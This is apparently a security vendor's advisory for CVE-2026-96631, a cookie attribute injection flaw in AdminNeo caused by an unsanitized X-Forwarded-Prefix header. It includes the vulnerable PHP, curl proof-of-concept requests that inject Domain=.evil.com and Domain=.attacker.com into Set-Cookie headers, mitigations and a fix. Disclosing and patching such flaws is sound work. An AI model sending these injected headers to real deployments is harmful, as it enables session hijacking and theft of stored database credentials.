CVE-2026-96631

AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers

if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
	$_SERVER["REQUEST_URI"] = $_SERVER["HTTP_X_FORWARDED_PREFIX"] . $_SERVER["REQUEST_URI"];
}

function cookie(string $name, string $value, int $lifetime = 2592000): void
{
	header("Set-Cookie: $name=" . rawurlencode($value)
		. ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "")
		. "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"])
		. (HTTPS ? "; secure" : "")
		. "; HttpOnly; SameSite=lax",
		false);
}

session_set_cookie_params(0, preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]), "", HTTPS, true);

# Normal request with clean Set-Cookie headerss:
curl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax

# Malicious request, inject Domain=.evil.com:
curl -sI -H "X-Forwarded-Prefix: /adminneo; Domain=.evil.com" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax
#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED

# Full attribute override - inject Domain + SameSite=None:
curl -sI -H "X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None" \
  http://localhost:8080/adminneo/index.php | grep -i set-cookie
> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...

# nginx, secure configuration:
fastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix

# Traefik, use middleware instead of client headers:
middlewares:
  strip-prefix:
    stripPrefix:
      prefixes:
        - "/adminneo"

• Session hijacking: The neo_sid session cookie is sent to the attacker's domain, allowing full session takeover.
• Credential theft: The neo_key cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.
• Session fixation: An attacker can inject arbitrary Path, SameSite, and Secure attributes, manipulating cookie behavior.
• Wide applicability: The X-Forwarded-Prefix header was specifically added to support reverse proxy deployments (Traefik PathPrefixStrip, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-96631 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.5.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Sanitize X-Forwarded-Prefix: Strip or reject semicolons, newlines, and other HTTP header metacharacters from the X-Forwarded-Prefix value before using it.
2. Use setcookie() / setrawcookie(): Replace the manual header("Set-Cookie: ...") construction in cookie() with PHP's built-in setcookie() function, which properly escapes attribute values.
3. Validate REQUEST_URI before cookie use: After any prefix manipulation, strip characters that are invalid in a cookie path attribute (;, ,, whitespace per RFC 6265).

// Example fix for bootstrap.inc.php:
if ($_SERVER["HTTP_X_FORWARDED_PREFIX"]) {
    $prefix = preg_replace('~[;\r\n].*~', '', $_SERVER["HTTP_X_FORWARDED_PREFIX"]);
    $_SERVER["REQUEST_URI"] = $prefix . $_SERVER["REQUEST_URI"];
}

1. What is CVE-2026-96631? CVE-2026-96631 is a high-severity improper input validation vulnerability in adminneo-org/adminneo (composer), affecting versions >= 4.6.0, < 5.5.1. It is fixed in 5.5.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-96631? CVE-2026-96631 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of adminneo-org/adminneo are affected by CVE-2026-96631? adminneo-org/adminneo (composer) versions >= 4.6.0, < 5.5.1 is affected.
4. Is there a fix for CVE-2026-96631? Yes. CVE-2026-96631 is fixed in 5.5.1. Upgrade to this version or later.
5. Is CVE-2026-96631 exploitable, and should I be worried? Whether CVE-2026-96631 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-96631 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-96631? Upgrade adminneo-org/adminneo to 5.5.1 or later.

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